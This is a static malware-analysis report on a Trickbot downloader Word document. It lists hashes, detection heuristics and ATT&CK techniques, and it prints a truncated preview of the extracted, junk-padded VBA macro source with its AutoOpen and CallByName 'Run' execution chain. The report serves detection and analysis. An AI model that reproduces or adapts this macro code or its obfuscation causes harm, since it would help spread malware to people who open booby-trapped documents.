Trickbot — Office (OLE) malware analysis

Static analysis result for SHA-256 cfd9c7bb1065d929…

MALICIOUS

Office (OLE)

113.0 KB Created: 2018-02-02 10:15:00 Authoring application: Microsoft Office Word First seen: 2019-01-20
MD5: 00657bb87ecfb00cad98173d9e73e688 SHA-1: 0564f936096ac738cdfb3f9987f84e87818dcbeb SHA-256: cfd9c7bb1065d929943398f58ab7e2032a3fb90c95380f28954f725cca326e0b
262 Risk Score

Malware Insights

Trickbot · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The ClamAV detection explicitly identifies it as 'Doc.Downloader.Trickbot-6444938-0', strongly suggesting the Trickbot family. The VBA code utilizes CreateObject and CallByName, indicative of dynamic execution, likely to download and run a secondary payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Trickbot-6444938-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Trickbot-6444938-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8103 bytes
SHA-256: 65dbb007fe3b2e90aa4bb7fd2a40519c164625523d01855bf9963fa620e0e909
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AuTOOPEn()
catstardis
upitvinki3 = 48 * 102
upitvinki3 = 101 + 11
End Sub

Attribute VB_Name = "ao_jewkwlyo8"
Function craigour(kalinows, eloidbod)
upitvinki3 = 48 * 102
upitvinki3 = 101 + 11
upitvinki3 = upitvinki3 - 9
upitvinki3 = upitvinki3 - 74 - upitvinki
upitvinki3 = 30 + 9
craigour = Mid(kalinows, eloidbod, 1)
End Function

Function htmlbasket()
htmlbasket = "m;]Qgm;]/u/ayEmaQR.g/g/gEs/l"
End Function

Function mtzeehog()
mtzeehog = cloclofile.gatorguido
End Function

Function sailorfool()
sailorfool = maddog16.golferblue
End Function



Attribute VB_Name = "April300"
Function swevbayo(aveanhomaS)
doomballs = cuxevuyu(9, 4) - 1
romanmp3 = cuxevuyu(53, 1)
upitvinki3 = 48 * 102
upitvinki3 = 101 + 11
upitvinki3 = upitvinki3 - 9
upitvinki3 = upitvinki3 - 74 - upitvinki
upitvinki3 = 30 + 9
mattdead = craigour(SNOWBALL, romanmp3)
For skater598 = 2 To doomballs
romanmp3 = cuxevuyu(27, 1)
upitvinki3 = 48 * 102
upitvinki3 = 101 + 11
upitvinki3 = upitvinki3 - 9
upitvinki3 = upitvinki3 - 74 - upitvinki
upitvinki3 = 30 + 9
mattdead = mattdead + craigour(aveanhomaS, romanmp3)
Next skater598
romanmp3 = cuxevuyu(37, 1)
upitvinki3 = 48 * 102
upitvinki3 = 101 + 11
upitvinki3 = upitvinki3 - 9
upitvinki3 = upitvinki3 - 74 - upitvinki
upitvinki3 = 30 + 9
swevbayo = ANIHSOHLOB(mattdead, romanmp3)
End Function

Function ANIHSOHLOB(nignsave, raketrac)
ANIHSOHLOB = nignsave + craigour(chevy404, raketrac)
End Function

Attribute VB_Name = "ayaksrapmelk"
Function croaksof(April1957)
upitvinki3 = 48 * 102
upitvinki3 = 101 + 11
upitvinki3 = upitvinki3 - 9
upitvinki3 = upitvinki3 - 74 - upitvinki
upitvinki3 = 30 + 9
croaksof = nmkbajhg(htmlbasket + cloclofile.inston222) + April1957 + _
nmkbajhg(cloclofile.ayaksnikhs) + April1957 + nmkbajhg(oliverbasf.ayanhceboP)
End Function

Attribute VB_Name = "cloclofile"
Attribute VB_Base = "0{66A8608F-6549-43E1-A81D-7E341C98BE9A}{CFC6C2DD-137F-4C45-B544-8CA66A53D87E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "emulsifyemulsify"
Sub catstardis()
Randomize
upitvinki3 = 48 * 102
upitvinki3 = 101 + 11
upitvinki3 = upitvinki3 - 9
upitvinki3 = upitvinki3 - 74 - upitvinki
upitvinki3 = 30 + 9
oliverbasf.surf121212 = "drlenon5"
End Sub

Attribute VB_Name = "kristenath"
Function chris237()
chris237 = anasonic72
End Function

Function anasonic72()
anasonic72 = nmkbajhg(cloclofile.atonspad)
End Function

Function lelikkk(treiltra, glassvei)
upitvinki3 = 48 * 102
upitvinki3 = 101 + 11
upitvinki3 = upitvinki3 - 9
upitvinki3 = upitvinki3 - 74 - upitvinki
upitvinki3 = 30 + 9
lelikkk = nmkbajhg(maddog16.rhymudbu) + treiltra + nmkbajhg(markguido.erythiad) + _
 glassvei + nmkbajhg(maddog16.funabove + maddog16.carddarwin) + glassvei
End Function


Attribute VB_Name = "leycopys"
Sub anikhconak(dounddoc)
jh = "Run"
jh1 = 0
jh2 = True
CallByName dounddoc, jh, VbMethod, maddog16.celinenite, jh1, jh2
End Sub

Attribute VB_Name = "lindalady"
Function dispelling(hackertina As String, steceits As Integer) As String
Dim manuwar1 As Integer
manuwar1 = 0
upitvinki3 = 48 * 102
upitvinki3 = 101 + 11
upitvinki3 = upitvinki3 - 9
upitvinki3 = upitvinki3 - 74 - upitvinki
upitvinki3 = 30 + 9
For puckettath = 1 To 90
If (craigour(ruthprince, puckettath) = hackertina) Then
   manuwar1 = puckettath
   upitvinki3 = 48 * 102
upitvinki3 = 101 + 11
upitvinki3 = upitvinki3 - 9
upitvinki3 = upitvinki3 - 74 - upitvinki
upitvinki3 = 30 + 9
    Exit For
End If
Next puckettath
upitvinki3 = 48 * 102
upitvinki3 = 101 + 11
upitvinki3 = upitvinki3 - 9
upitvinki3
... (truncated)